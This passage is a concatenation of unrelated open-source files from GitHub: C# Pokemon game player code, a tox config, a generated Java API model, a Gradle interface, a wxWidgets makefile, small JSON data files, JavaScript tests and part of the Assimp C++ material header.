/// <summary>
/// Usage:<para>
/// <code>playerPokedex[1,0] == 0; means pokemonId #1 not seen</code>
/// </para>
/// <code>playerPokedex[1,1] == 0; means pokemonId #1 not captured</code>
/// <para></para>
/// <code>playerPokedex[1,2] == 3; means the 3rd form of pokemonId was first to be scanned into pokedex</code>
/// </summary>
/// <remarks>Or can be int?[pokedex.count,1]. if null, not seen or captured</remarks>
public byte[,] Pokedex { get; private set; }
public System.TimeSpan PlayTime { get; private set; }
/// <summary>
/// </summary>
/// <remarks>
/// Each Badge in <see cref="GymBadges"/> is a Key/Value,
/// regardless of how they're set in game. One value per badge.
/// </remarks>
public KeyValuePair<GymBadges, System.DateTime?>[] GymsBeatTime { get; private set; }
#endregion
#region Player Customization
///// <summary>
///// Active player design
///// </summary>
///// ToDo: Player outfits should be stored and loaded from the player PC?
///// Rather than adding another variable for `Item` data...
///// Not sure if player custom designs are an `Item` type or a custom enum...
//public int playerOutfit { get; set; }
//public int playerScore { get; set; }
//public int playerShirt { get; set; }
//public int playerMisc { get; set; }
//public int playerHat { get; set; }
#endregion
#endregion
#region Constructor
//public SeriPlayer(string name, bool gender, Pokemon[] party = null, Items[] bag = null, Pokemon[][] pc_poke = null, KeyValuePair<Items,int>[] pc_items = null,
// byte? pc_box = null, string[] pc_names = null, int[] pc_textures = null, int? trainerid = null, int? secretid = null,
// int? money = null, int? coin = null, int? bank = null, int? repel = null, string rival = null,
// byte[][] dex = null, TimeSpan? time = null, Vector? position = null, byte? follower = null,
// bool? creator = null, int? map = null, int? pokecenter = null, KeyValuePair<GymBadges, DateTime?>[] gym = null) : this()
//{
// //playerPokedex = new bool?[Pokemon.PokemonData.Database.Length];
// Pokedex = new byte[Game.PokemonData.Where(x => x.Value.IsDefault).Count(), 3];
// PlayTime = new TimeSpan();
// Position = new Vector();
// Bag = new Bag();
// PC = new PC();
// Party = new Pokemon[]
// {
// new Pokemon(Pokemons.NONE),
// new Pokemon(Pokemons.NONE),
// new Pokemon(Pokemons.NONE),
// new Pokemon(Pokemons.NONE),
// new Pokemon(Pokemons.NONE),
// new Pokemon(Pokemons.NONE)
// };
//
// //List<GymBadges> gymBadges = new List<GymBadges>();
// GymsBeatTime = new Dictionary<GymBadges, DateTime?>();
// foreach (GymBadges i in (GymBadges[])Enum.GetValues(typeof(GymBadges)))
// {
// //gymBadges.Add(i);
// GymsBeatTime.Add(i, null);
// }
// //gymsEncountered = new bool[gymBadges.Count];
// //gymsBeaten = new bool[gymBadges.Count];
// //gymsBeatTime = new System.DateTime?[gymBadges.Count];
// //GymsBeatTime = new System.DateTime?[gymBadges.Count];
// Checkpoint = Locations.PALLET_TOWN;
// Name = name;
// IsMale = gender;
// Party = party ?? Party;
// Bag = new Bag(bag ?? new Items[0]);
// PC = new PC(pkmns: pc_poke, items: pc_items, box: pc_box, names: pc_names, textures: pc_textures);
// if(trainerid != null)this.trainerId = trainerid;
// if(secretid != null) this.secretId = secretid;
// if(time != null) this.PlayTime = time.Value;
// if(pokecenter != null) this.Checkpoint = (Locations)pokecenter;
// if(position != null) this.Position = position.Value;
// //Position = position ?? new Vector() ;
// Money = money ?? 0 ;
// Coins = coin ?? 0 ;
// Savings = bank ?? 0 ;
// IsCreator = creator ?? false ;
// FollowPokemon = follower ?? 0 ;
// Area = map ?? 0 ;
// RepelSteps = repel ?? 0 ;
// RivalName = rival ?? null ;
//
// if(gym != null)
// foreach (KeyValuePair<GymBadges, DateTime?> g in gym)
// if (!GymsBeatTime.ContainsKey(g.Key))
// GymsBeatTime.Add(g.Key,g.Value);
//
// //byte[][] dex = pokedex ?? new byte[Game.PokemonData.Where(x => x.Value.IsDefault).Count()][];
// //Pokedex = new byte[dex.Length,3];
// if(dex != null)
// for (int i = 0; i < dex.Length; i++)
// //Pokedex[i] = new byte[dex[i].Length];
// for (int j = 0; j < dex[i].Length; j++)
// Pokedex[i,j] = (byte)dex[i][j];
//}
public SeriPlayer(string name, bool gender, SeriPokemon[] party, Items[] bag = null, SeriPC pc = null, uint? trainerid = null, uint? secretid = null,
int? money = null, int? coin = null, int? bank = null, int? repel = null, string rival = null,
byte[][] dex = null, TimeSpan? time = null, Vector? position = null, byte? follower = null,
bool? creator = null, int? map = null, int? pokecenter = null, KeyValuePair<GymBadges, DateTime?>[] gym = null)
//: this (name: name, gender: gender, party: party, bag: bag != null ? bag.Contents : null,
// pc_poke: pc != null ? pc.AllBoxes : null, pc_items: pc != null ? pc.Items : null,
// pc_names: pc != null ? pc.BoxNames : null, pc_textures: pc != null ? pc.BoxTextures : null,
// pc_box: pc != null ? pc.ActiveBox : (byte?)null, trainerid: trainerid, secretid: secretid,
// money:money, coin:coin, bank:bank,repel:repel, rival:rival, dex: dex, time:time, position:position, follower:follower,
// creator:creator, map:map, pokecenter:pokecenter, gym:gym)
{
//playerPokedex = new bool?[Pokemon.PokemonData.Database.Length];
//Pokedex = new byte[Game.PokemonData.Where(x => x.Value.IsDefault).Count(), 3];
PlayTime = new TimeSpan();
Position = new Vector();
//Bag = new Bag();
PC = new SeriPC();
Party = new SeriPokemon[]
{
new Pokemon(Pokemons.NONE),
new Pokemon(Pokemons.NONE),
new Pokemon(Pokemons.NONE),
new Pokemon(Pokemons.NONE),
new Pokemon(Pokemons.NONE),
new Pokemon(Pokemons.NONE)
};
//GymsBeatTime = new Dictionary<GymBadges, DateTime?>();
//foreach (GymBadges i in (GymBadges[])Enum.GetValues(typeof(GymBadges)))
//{
// //gymBadges.Add(i);
// GymsBeatTime.Add(i, null);
//}
GymsBeatTime = new KeyValuePair<GymBadges, DateTime?>[Enum.GetValues(typeof(GymBadges)).Length];
Checkpoint = Locations.PALLET_TOWN;
Name = name;
IsMale = gender;
Party = party ?? this.Party;
Bag = bag ?? new Items[0];
//PC = new SeriPC(pkmns: pc_poke, items: pc_items, box: pc_box, names: pc_names, textures: pc_textures);
if(trainerid != null)this.trainerId = trainerid.Value;
if(secretid != null) this.secretId = secretid.Value;
if(time != null) this.PlayTime = time.Value;
if(pokecenter != null) this.Checkpoint = (Locations)pokecenter;
if(position != null) this.Position = position.Value;
//Position = position ?? new Vector() ;
Money = money ?? 0 ;
Coins = coin ?? 0 ;
Savings = bank ?? 0 ;
IsCreator = creator ?? false ;
FollowPokemon = follower ?? 0 ;
Area = map ?? 0 ;
RepelSteps = repel ?? 0 ;
RivalName = rival ?? null ;
if(gym != null)
// foreach (KeyValuePair<GymBadges, DateTime?> g in gym)
// if (!GymsBeatTime.ContainsKey(g.Key))
// GymsBeatTime.Add(g.Key,g.Value);
GymsBeatTime = gym;
//byte[][] dex = pokedex ?? new byte[Game.PokemonData.Where(x => x.Value.IsDefault).Count()][];
//Pokedex = new byte[dex.Length,3];
if(dex != null)
for (int i = 0; i < dex.Length; i++)
//Pokedex[i] = new byte[dex[i].Length];
for (int j = 0; j < dex[i].Length; j++)
Pokedex[i,j] = (byte)dex[i][j];
}
#endregion
}
}*/ | {
"pile_set_name": "Github"
} |
[tox]
envlist = py35,py36,py37,py38
skip_missing_interpreters = True
skipsdist = True
minversion = 3.14.1
[testenv]
usedevelop = True
deps = -rtest_requirements.txt
whitelist_externals =
find
sh
passenv = COVERAGE_FILE
commands =
pytest {posargs}
py36,py37,py38: black --check .
isort --recursive --check-only --settings-path setup.cfg .
flake8 borgmatic tests
[testenv:black]
commands =
black {posargs} .
[testenv:test]
commands =
pytest {posargs}
[testenv:end-to-end]
deps = -rtest_requirements.txt
passenv = COVERAGE_FILE
commands =
pytest {posargs} --no-cov tests/end-to-end
[testenv:isort]
deps = {[testenv]deps}
commands =
isort {posargs:--recursive} --settings-path setup.cfg .
| {
"pile_set_name": "Github"
} |
/*
* Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except
* in compliance with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software distributed under the License
* is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express
* or implied. See the License for the specific language governing permissions and limitations under
* the License.
*/
/*
* This code was generated by https://github.com/googleapis/google-api-java-client-services/
* Modify at your own risk.
*/
package com.google.api.services.content.model;
/**
* Model definition for OrderCustomer.
*
* <p> This is the Java data model class that specifies how to parse/serialize into the JSON that is
* transmitted over HTTP when working with the Content API for Shopping. For a detailed explanation
* see:
* <a href="https://developers.google.com/api-client-library/java/google-http-java-client/json">https://developers.google.com/api-client-library/java/google-http-java-client/json</a>
* </p>
*
* @author Google, Inc.
*/
@SuppressWarnings("javadoc")
public final class OrderCustomer extends com.google.api.client.json.GenericJson {
/**
* Full name of the customer.
* The value may be {@code null}.
*/
@com.google.api.client.util.Key
private java.lang.String fullName;
/**
* Customer's marketing preferences. Contains the marketing opt-in information that is current at
* the time that the merchant call. User preference selections can change from one order to the
* next so preferences must be checked with every order.
* The value may be {@code null}.
*/
@com.google.api.client.util.Key
private OrderCustomerMarketingRightsInfo marketingRightsInfo;
/**
* Full name of the customer.
* @return value or {@code null} for none
*/
public java.lang.String getFullName() {
return fullName;
}
/**
* Full name of the customer.
* @param fullName fullName or {@code null} for none
*/
public OrderCustomer setFullName(java.lang.String fullName) {
this.fullName = fullName;
return this;
}
/**
* Customer's marketing preferences. Contains the marketing opt-in information that is current at
* the time that the merchant call. User preference selections can change from one order to the
* next so preferences must be checked with every order.
* @return value or {@code null} for none
*/
public OrderCustomerMarketingRightsInfo getMarketingRightsInfo() {
return marketingRightsInfo;
}
/**
* Customer's marketing preferences. Contains the marketing opt-in information that is current at
* the time that the merchant call. User preference selections can change from one order to the
* next so preferences must be checked with every order.
* @param marketingRightsInfo marketingRightsInfo or {@code null} for none
*/
public OrderCustomer setMarketingRightsInfo(OrderCustomerMarketingRightsInfo marketingRightsInfo) {
this.marketingRightsInfo = marketingRightsInfo;
return this;
}
@Override
public OrderCustomer set(String fieldName, Object value) {
return (OrderCustomer) super.set(fieldName, value);
}
@Override
public OrderCustomer clone() {
return (OrderCustomer) super.clone();
}
}
| {
"pile_set_name": "Github"
} |
/*
* Copyright 2015 the original author or authors.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.gradle.nativeplatform.toolchain.internal;
import org.gradle.api.Action;
import java.io.File;
import java.util.List;
public interface MutableCommandLineToolContext extends CommandLineToolContext {
void setArgAction(Action<List<String>> argAction);
void addPath(File pathEntry);
void addPath(List<File> path);
void addEnvironmentVar(String key, String value);
}
| {
"pile_set_name": "Github"
} |
# =========================================================================
# This makefile was generated by
# Bakefile 0.2.9 (http://www.bakefile.org)
# Do not modify, all changes will be overwritten!
# =========================================================================
include ../../build/msw/config.gcc
# -------------------------------------------------------------------------
# Do not modify the rest of this file!
# -------------------------------------------------------------------------
### Variables: ###
CPPDEPS = -MT$@ [email protected] -MD -MP
WX_RELEASE_NODOT = 30
COMPILER_PREFIX = gcc
OBJS = \
$(COMPILER_PREFIX)$(COMPILER_VERSION)_$(PORTNAME)$(WXUNIVNAME)$(WXUNICODEFLAG)$(WXDEBUGFLAG)$(WXDLLFLAG)$(CFG)
LIBDIRNAME = \
.\..\..\lib\$(COMPILER_PREFIX)$(COMPILER_VERSION)_$(LIBTYPE_SUFFIX)$(CFG)
SETUPHDIR = \
$(LIBDIRNAME)\$(PORTNAME)$(WXUNIVNAME)$(WXUNICODEFLAG)$(WXDEBUGFLAG)
NATIVDLG_CXXFLAGS = $(__DEBUGINFO) $(__OPTIMIZEFLAG_2) $(__THREADSFLAG) \
$(GCCFLAGS) -DHAVE_W32API_H -D__WXMSW__ $(__WXUNIV_DEFINE_p) \
$(__DEBUG_DEFINE_p) $(__NDEBUG_DEFINE_p) $(__EXCEPTIONS_DEFINE_p) \
$(__RTTI_DEFINE_p) $(__THREAD_DEFINE_p) $(__UNICODE_DEFINE_p) \
$(__MSLU_DEFINE_p) -I$(SETUPHDIR) -I.\..\..\include \
$(____CAIRO_INCLUDEDIR_FILENAMES_p) -W -Wall -I. $(__DLLFLAG_p) \
-I.\..\..\samples -DNOPCH $(__RTTIFLAG_5) $(__EXCEPTIONSFLAG_6) \
-Wno-ctor-dtor-privacy $(CPPFLAGS) $(CXXFLAGS)
NATIVDLG_OBJECTS = \
$(OBJS)\nativdlg_nativdlg.o \
$(OBJS)\nativdlg_nativdlg_rc.o
### Conditionally set variables: ###
ifeq ($(GCC_VERSION),2.95)
GCCFLAGS = -fvtable-thunks
endif
ifeq ($(USE_GUI),0)
PORTNAME = base
endif
ifeq ($(USE_GUI),1)
PORTNAME = msw$(TOOLKIT_VERSION)
endif
ifeq ($(OFFICIAL_BUILD),1)
COMPILER_VERSION = ERROR-COMPILER-VERSION-MUST-BE-SET-FOR-OFFICIAL-BUILD
endif
ifeq ($(BUILD),debug)
WXDEBUGFLAG = d
endif
ifeq ($(UNICODE),1)
WXUNICODEFLAG = u
endif
ifeq ($(WXUNIV),1)
WXUNIVNAME = univ
endif
ifeq ($(SHARED),1)
WXDLLFLAG = dll
endif
ifeq ($(SHARED),0)
LIBTYPE_SUFFIX = lib
endif
ifeq ($(SHARED),1)
LIBTYPE_SUFFIX = dll
endif
ifeq ($(MONOLITHIC),0)
EXTRALIBS_FOR_BASE =
endif
ifeq ($(MONOLITHIC),1)
EXTRALIBS_FOR_BASE =
endif
ifeq ($(BUILD),debug)
__OPTIMIZEFLAG_2 = -O0
endif
ifeq ($(BUILD),release)
__OPTIMIZEFLAG_2 = -O2
endif
ifeq ($(USE_RTTI),0)
__RTTIFLAG_5 = -fno-rtti
endif
ifeq ($(USE_RTTI),1)
__RTTIFLAG_5 =
endif
ifeq ($(USE_EXCEPTIONS),0)
__EXCEPTIONSFLAG_6 = -fno-exceptions
endif
ifeq ($(USE_EXCEPTIONS),1)
__EXCEPTIONSFLAG_6 =
endif
ifeq ($(WXUNIV),1)
__WXUNIV_DEFINE_p = -D__WXUNIVERSAL__
endif
ifeq ($(WXUNIV),1)
__WXUNIV_DEFINE_p_1 = --define __WXUNIVERSAL__
endif
ifeq ($(DEBUG_FLAG),0)
__DEBUG_DEFINE_p = -DwxDEBUG_LEVEL=0
endif
ifeq ($(DEBUG_FLAG),0)
__DEBUG_DEFINE_p_1 = --define wxDEBUG_LEVEL=0
endif
ifeq ($(BUILD),release)
__NDEBUG_DEFINE_p = -DNDEBUG
endif
ifeq ($(BUILD),release)
__NDEBUG_DEFINE_p_1 = --define NDEBUG
endif
ifeq ($(USE_EXCEPTIONS),0)
__EXCEPTIONS_DEFINE_p = -DwxNO_EXCEPTIONS
endif
ifeq ($(USE_EXCEPTIONS),0)
__EXCEPTIONS_DEFINE_p_1 = --define wxNO_EXCEPTIONS
endif
ifeq ($(USE_RTTI),0)
__RTTI_DEFINE_p = -DwxNO_RTTI
endif
ifeq ($(USE_RTTI),0)
__RTTI_DEFINE_p_1 = --define wxNO_RTTI
endif
ifeq ($(USE_THREADS),0)
__THREAD_DEFINE_p = -DwxNO_THREADS
endif
ifeq ($(USE_THREADS),0)
__THREAD_DEFINE_p_1 = --define wxNO_THREADS
endif
ifeq ($(UNICODE),0)
__UNICODE_DEFINE_p = -DwxUSE_UNICODE=0
endif
ifeq ($(UNICODE),1)
__UNICODE_DEFINE_p = -D_UNICODE
endif
ifeq ($(UNICODE),0)
__UNICODE_DEFINE_p_1 = --define wxUSE_UNICODE=0
endif
ifeq ($(UNICODE),1)
__UNICODE_DEFINE_p_1 = --define _UNICODE
endif
ifeq ($(MSLU),1)
__MSLU_DEFINE_p = -DwxUSE_UNICODE_MSLU=1
endif
ifeq ($(MSLU),1)
__MSLU_DEFINE_p_1 = --define wxUSE_UNICODE_MSLU=1
endif
ifeq ($(USE_CAIRO),1)
____CAIRO_INCLUDEDIR_FILENAMES_p = -I$(CAIRO_ROOT)\include\cairo
endif
ifeq ($(USE_CAIRO),1)
__CAIRO_INCLUDEDIR_p = --include-dir $(CAIRO_ROOT)/include/cairo
endif
ifeq ($(SHARED),1)
__DLLFLAG_p = -DWXUSINGDLL
endif
ifeq ($(SHARED),1)
__DLLFLAG_p_1 = --define WXUSINGDLL
endif
ifeq ($(MONOLITHIC),0)
__WXLIB_CORE_p = \
-lwx$(PORTNAME)$(WXUNIVNAME)$(WX_RELEASE_NODOT)$(WXUNICODEFLAG)$(WXDEBUGFLAG)$(WX_LIB_FLAVOUR)_core
endif
ifeq ($(MONOLITHIC),0)
__WXLIB_BASE_p = \
-lwxbase$(WX_RELEASE_NODOT)$(WXUNICODEFLAG)$(WXDEBUGFLAG)$(WX_LIB_FLAVOUR)
endif
ifeq ($(MONOLITHIC),1)
__WXLIB_MONO_p = \
-lwx$(PORTNAME)$(WXUNIVNAME)$(WX_RELEASE_NODOT)$(WXUNICODEFLAG)$(WXDEBUGFLAG)$(WX_LIB_FLAVOUR)
endif
ifeq ($(MONOLITHIC),1)
ifeq ($(USE_STC),1)
__LIB_SCINTILLA_IF_MONO_p = -lwxscintilla$(WXDEBUGFLAG)
endif
endif
ifeq ($(USE_GUI),1)
__LIB_TIFF_p = -lwxtiff$(WXDEBUGFLAG)
endif
ifeq ($(USE_GUI),1)
__LIB_JPEG_p = -lwxjpeg$(WXDEBUGFLAG)
endif
ifeq ($(USE_GUI),1)
__LIB_PNG_p = -lwxpng$(WXDEBUGFLAG)
endif
ifeq ($(MSLU),1)
__UNICOWS_LIB_p = -lunicows
endif
ifeq ($(USE_CAIRO),1)
__CAIRO_LIB_p = -lcairo
endif
ifeq ($(USE_CAIRO),1)
____CAIRO_LIBDIR_FILENAMES_p = -L$(CAIRO_ROOT)\lib
endif
ifeq ($(BUILD),debug)
ifeq ($(DEBUG_INFO),default)
__DEBUGINFO = -g
endif
endif
ifeq ($(BUILD),release)
ifeq ($(DEBUG_INFO),default)
__DEBUGINFO =
endif
endif
ifeq ($(DEBUG_INFO),0)
__DEBUGINFO =
endif
ifeq ($(DEBUG_INFO),1)
__DEBUGINFO = -g
endif
ifeq ($(USE_THREADS),0)
__THREADSFLAG =
endif
ifeq ($(USE_THREADS),1)
__THREADSFLAG = -mthreads
endif
all: $(OBJS)
$(OBJS):
-if not exist $(OBJS) mkdir $(OBJS)
### Targets: ###
all: $(OBJS)\nativdlg.exe
clean:
-if exist $(OBJS)\*.o del $(OBJS)\*.o
-if exist $(OBJS)\*.d del $(OBJS)\*.d
-if exist $(OBJS)\nativdlg.exe del $(OBJS)\nativdlg.exe
$(OBJS)\nativdlg.exe: $(NATIVDLG_OBJECTS) $(OBJS)\nativdlg_nativdlg_rc.o
$(CXX) -o $@ $(NATIVDLG_OBJECTS) $(__DEBUGINFO) $(__THREADSFLAG) -L$(LIBDIRNAME) -Wl,--subsystem,windows -mwindows $(____CAIRO_LIBDIR_FILENAMES_p) $(LDFLAGS) $(__WXLIB_CORE_p) $(__WXLIB_BASE_p) $(__WXLIB_MONO_p) $(__LIB_SCINTILLA_IF_MONO_p) $(__LIB_TIFF_p) $(__LIB_JPEG_p) $(__LIB_PNG_p) -lwxzlib$(WXDEBUGFLAG) -lwxregex$(WXUNICODEFLAG)$(WXDEBUGFLAG) -lwxexpat$(WXDEBUGFLAG) $(EXTRALIBS_FOR_BASE) $(__UNICOWS_LIB_p) $(__CAIRO_LIB_p) -lkernel32 -luser32 -lgdi32 -lcomdlg32 -lwinspool -lwinmm -lshell32 -lcomctl32 -lole32 -loleaut32 -luuid -lrpcrt4 -ladvapi32 -lwsock32 -lwininet
$(OBJS)\nativdlg_nativdlg.o: ./nativdlg.cpp
$(CXX) -c -o $@ $(NATIVDLG_CXXFLAGS) $(CPPDEPS) $<
$(OBJS)\nativdlg_nativdlg_rc.o: ./nativdlg.rc
$(WINDRES) -i$< -o$@ --define __WXMSW__ $(__WXUNIV_DEFINE_p_1) $(__DEBUG_DEFINE_p_1) $(__NDEBUG_DEFINE_p_1) $(__EXCEPTIONS_DEFINE_p_1) $(__RTTI_DEFINE_p_1) $(__THREAD_DEFINE_p_1) $(__UNICODE_DEFINE_p_1) $(__MSLU_DEFINE_p_1) --include-dir $(SETUPHDIR) --include-dir ./../../include $(__CAIRO_INCLUDEDIR_p) --include-dir . $(__DLLFLAG_p_1) --include-dir ./../../samples --define NOPCH
.PHONY: all clean
SHELL := $(COMSPEC)
# Dependencies tracking:
-include $(OBJS)/*.d
| {
"pile_set_name": "Github"
} |
{
"nome": "Isola Rizza",
"codice": "023041",
"zona": {
"codice": "2",
"nome": "Nord-est"
},
"regione": {
"codice": "05",
"nome": "Veneto"
},
"provincia": {
"codice": "023",
"nome": "Verona"
},
"sigla": "VR",
"codiceCatastale": "E358",
"cap": [
"37050"
],
"popolazione": 3255
}
| {
"pile_set_name": "Github"
} |
var common = require('../common');
var formidable = common.formidable;
var http = require('http');
var assert = require('assert');
var testData = {
numbers: [1, 2, 3, 4, 5],
nested: { key: 'value' }
};
var server = http.createServer(function(req, res) {
var form = new formidable.IncomingForm();
form.parse(req, function(err, fields, files) {
assert.deepEqual(fields, testData);
res.end();
server.close();
});
});
var port = common.port;
server.listen(port, function(err){
assert.equal(err, null);
var request = http.request({
port: port,
method: 'POST',
headers: {
'Content-Type': 'application/json'
}
});
request.write(JSON.stringify(testData));
request.end();
});
| {
"pile_set_name": "Github"
} |
import { module, test, skip } from 'qunit';
import { setupRenderingTest } from 'ember-qunit';
import hbs from 'htmlbars-inline-precompile';
import { gte } from 'ember-compatibility-helpers';
module('Integration | Component | pretty color', function(hooks) {
setupRenderingTest(hooks);
test('it renders properly [curly braces]', async function(assert) {
await this.render(hbs`{{link-to-external 'home' 'home'}}`);
assert.equal(this.element.querySelector('a').textContent, 'home');
});
(gte('3.10.0-beta.1')
? test
: skip)('it renders properly [angle brackets]', async function(assert) {
await this.render(hbs`<LinkToExternal @route='home'>home</LinkToExternal>`);
assert.equal(this.element.querySelector('a').textContent, 'home');
});
});
| {
"pile_set_name": "Github"
} |
{
"id": "blend",
"groupName": "blend",
"params": {
"mode": {
"value": "multiply"
},
"x": {
"value": "0%"
},
"y": {
"value": "0%"
},
"width": {
"value": "100%"
},
"height":{
"value": "100%"
},
"in": {
"value": "SourceGraphic"
},
"in2": {
"value": "SourceGraphic"
},
"result": {
"value": "blend"
}
}
}
| {
"pile_set_name": "Github"
} |
/*
---------------------------------------------------------------------------
Open Asset Import Library (assimp)
---------------------------------------------------------------------------
Copyright (c) 2006-2019, assimp team
All rights reserved.
Redistribution and use of this software in source and binary forms,
with or without modification, are permitted provided that the following
conditions are met:
* Redistributions of source code must retain the above
copyright notice, this list of conditions and the
following disclaimer.
* Redistributions in binary form must reproduce the above
copyright notice, this list of conditions and the
following disclaimer in the documentation and/or other
materials provided with the distribution.
* Neither the name of the assimp team, nor the names of its
contributors may be used to endorse or promote products
derived from this software without specific prior
written permission of the assimp team.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
---------------------------------------------------------------------------
*/
/** @file material.inl
* @brief Defines the C++ getters for the material system
*/
#pragma once
#ifndef AI_MATERIAL_INL_INC
#define AI_MATERIAL_INL_INC
// ---------------------------------------------------------------------------
inline aiPropertyTypeInfo ai_real_to_property_type_info(float)
{
return aiPTI_Float;
}
inline aiPropertyTypeInfo ai_real_to_property_type_info(double)
{
return aiPTI_Double;
}
// ---------------------------------------------------------------------------
//! @cond never
// ---------------------------------------------------------------------------
inline aiReturn aiMaterial::GetTexture( aiTextureType type,
unsigned int index,
C_STRUCT aiString* path,
aiTextureMapping* mapping /*= NULL*/,
unsigned int* uvindex /*= NULL*/,
ai_real* blend /*= NULL*/,
aiTextureOp* op /*= NULL*/,
aiTextureMapMode* mapmode /*= NULL*/) const
{
return ::aiGetMaterialTexture(this,type,index,path,mapping,uvindex,blend,op,mapmode);
}
// ---------------------------------------------------------------------------
inline unsigned int aiMaterial::GetTextureCount(aiTextureType type) const
{
return ::aiGetMaterialTextureCount(this,type);
}
// ---------------------------------------------------------------------------
template <typename Type>
inline aiReturn aiMaterial::Get(const char* pKey,unsigned int type,
unsigned int idx, Type* pOut,
unsigned int* pMax) const
{
unsigned int iNum = pMax ? *pMax : 1;
const aiMaterialProperty* prop;
const aiReturn ret = ::aiGetMaterialProperty(this,pKey,type,idx,
(const aiMaterialProperty**)&prop);
if ( AI_SUCCESS == ret ) {
if (prop->mDataLength < sizeof(Type)*iNum) {
return AI_FAILURE;
}
if (prop->mType != aiPTI_Buffer) {
return AI_FAILURE;
}
iNum = std::min((size_t)iNum,prop->mDataLength / sizeof(Type));
::memcpy(pOut,prop->mData,iNum * sizeof(Type));
if (pMax) {
*pMax = iNum;
}
}
return ret;
}
// ---------------------------------------------------------------------------
template <typename Type>
inline aiReturn aiMaterial::Get(const char* pKey,unsigned int type,
unsigned int idx,Type& pOut) const
{
const aiMaterialProperty* prop;
const aiReturn ret = ::aiGetMaterialProperty(this,pKey,type,idx,
(const aiMaterialProperty**)&prop);
if ( AI_SUCCESS == ret ) {
if (prop->mDataLength < sizeof(Type)) {
return AI_FAILURE;
}
if (prop->mType != aiPTI_Buffer) {
return AI_FAILURE;
}
::memcpy( &pOut, prop->mData, sizeof( Type ) );
}
return ret;
}
// ---------------------------------------------------------------------------
inline aiReturn aiMaterial::Get(const char* pKey,unsigned int type,
unsigned int idx,ai_real* pOut,
unsigned int* pMax) const
{
return ::aiGetMaterialFloatArray(this,pKey,type,idx,pOut,pMax);
}
// ---------------------------------------------------------------------------
inline aiReturn aiMaterial::Get(const char* pKey,unsigned int type,
unsigned int idx,int* pOut,
unsigned int* pMax) const
{
return ::aiGetMaterialIntegerArray(this,pKey,type,idx,pOut,pMax);
}
// ---------------------------------------------------------------------------
inline aiReturn aiMaterial::Get(const char* pKey,unsigned int type,
unsigned int idx,ai_real& pOut) const
{
return aiGetMaterialFloat(this,pKey,type,idx,&pOut);
}
// ---------------------------------------------------------------------------
inline aiReturn aiMaterial::Get(const char* pKey,unsigned int type,
unsigned int idx,int& pOut) const
{
return aiGetMaterialInteger(this,pKey,type,idx,&pOut);
}
// ---------------------------------------------------------------------------
inline aiReturn aiMaterial::Get(const char* pKey,unsigned int type,
unsigned int idx,aiColor4D& pOut) const
{
return aiGetMaterialColor(this,pKey,type,idx,&pOut);
}
// ---------------------------------------------------------------------------
inline aiReturn aiMaterial::Get(const char* pKey,unsigned int type,
unsigned int idx,aiColor3D& pOut) const
{
aiColor4D c;
const aiReturn ret = aiGetMaterialColor(this,pKey,type,idx,&c);
pOut = aiColor3D(c.r,c.g,c.b);
return ret;
}
// ---------------------------------------------------------------------------
inline aiReturn aiMaterial::Get(const char* pKey,unsigned int type,
unsigned int idx,aiString& pOut) const
{
return aiGetMaterialString(this,pKey,type,idx,&pOut);
}
// ---------------------------------------------------------------------------
inline aiReturn aiMaterial::Get(const char* pKey,unsigned int type,
unsigned int idx,aiUVTransform& pOut) const
{
return aiGetMaterialUVTransform(this,pKey,type,idx,&pOut);
}
// ---------------------------------------------------------------------------
template<class TYPE>
aiReturn aiMaterial::AddProperty (const TYPE* pInput,
const unsigned int pNumValues,
const char* pKey,
unsigned int type,
unsigned int index)
{
return AddBinaryProperty((const void*)pInput,
pNumValues * sizeof(TYPE),
pKey,type,index,aiPTI_Buffer);
}
// ---------------------------------------------------------------------------
inline aiReturn aiMaterial::AddProperty(const float* pInput,
const unsigned int pNumValues,
const char* pKey,
unsigned int type,
unsigned int index)
{
return AddBinaryProperty((const void*)pInput,
pNumValues * sizeof(float),
pKey,type,index,aiPTI_Float);
}
// ---------------------------------------------------------------------------
inline aiReturn aiMaterial::AddProperty(const double* pInput,
const unsigned int pNumValues,
const char* pKey,
unsigned int type,
unsigned int index)
{
return AddBinaryProperty((const void*)pInput,
pNumValues * sizeof(double),
pKey,type,index,aiPTI_Double);
}
// ---------------------------------------------------------------------------
inline aiReturn aiMaterial::AddProperty(const aiUVTransform* pInput,
const unsigned int pNumValues,
const char* pKey,
unsigned int type,
unsigned int index)
{
return AddBinaryProperty((const void*)pInput,
pNumValues * sizeof(aiUVTransform),
pKey,type,index,ai_real_to_property_type_info(pInput->mRotation));
}
// ---------------------------------------------------------------------------
inline aiReturn aiMaterial::AddProperty(const aiColor4D* pInput,
const unsigned int pNumValues,
const char* pKey,
unsigned int type,
unsigned int index)
{
return AddBinaryProperty((const void*)pInput,
pNumValues * sizeof(aiColor4D),
pKey,type,index,ai_real_to_property_type_info(pInput->a));
}
// ---------------------------------------------------------------------------
inline aiReturn aiMaterial::AddProperty(const aiColor3D* pInput,
const unsigned int pNumValues,
const char* pKey,
